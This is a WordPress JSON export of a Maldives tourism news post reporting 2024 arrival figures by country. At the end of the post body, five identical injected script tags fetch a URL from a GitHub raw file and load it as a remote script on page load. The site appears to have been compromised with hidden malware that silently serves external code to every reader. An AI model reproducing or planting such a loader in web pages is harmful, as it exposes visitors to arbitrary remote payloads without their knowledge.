{"id":9372,"date":"2024-05-12T18:07:38","date_gmt":"2024-05-12T13:07:38","guid":{"rendered":"https:\/\/mbt.mv\/?p=9372"},"modified":"2024-05-12T18:07:38","modified_gmt":"2024-05-12T13:07:38","slug":"chinese-arrivals-reach-close-to-90000-annual-arrivals-exceed-800000","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9372","title":{"rendered":"Chinese arrivals reach close to 90,000, annual arrivals exceed 800,000"},"content":{"rendered":"<p>Tourist arrivals from China has reached over 87,000 as per the latest tourist arrival update from the Ministry of Tourism.<\/p>\n<p>According to the Ministry, the annual arrival total has reached 809,817 as of May 08, 2024, which is an 11.8% increment over the corresponding period last year, during which arrivals stood at 724,631.<\/p>\n<p>China maintains dominance while Russia is trailing closely behind in second spot with a little over 80,000 arrivals so far while UK is in third place with over 77,000 arrivals.<\/p>\n<h2>Top 10 Markets<\/h2>\n<ol>\n<li>CHINA &#8211; 87,566<\/li>\n<li>RUSSIA &#8211; 80,698<\/li>\n<li>UK &#8211; 77,273<\/li>\n<li>ITALY &#8211; 71,693<\/li>\n<li>GERMANY &#8211; 62,365<\/li>\n<li>INDIA &#8211; 44,203<\/li>\n<li>USA &#8211; 27,988<\/li>\n<li>SWITZERLAND &#8211; 20,265<\/li>\n<li>POLAND &#8211; 16,603<\/li>\n<\/ol>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tourist arrivals from China has reached over 87,000 as per the latest tourist arrival update from the Ministry of Tourism. According to the Ministry, the annual arrival total has reached 809,817 as of May 08, 2024, which is an 11.8% increment over the corresponding period last year, during which arrivals stood at 724,631. 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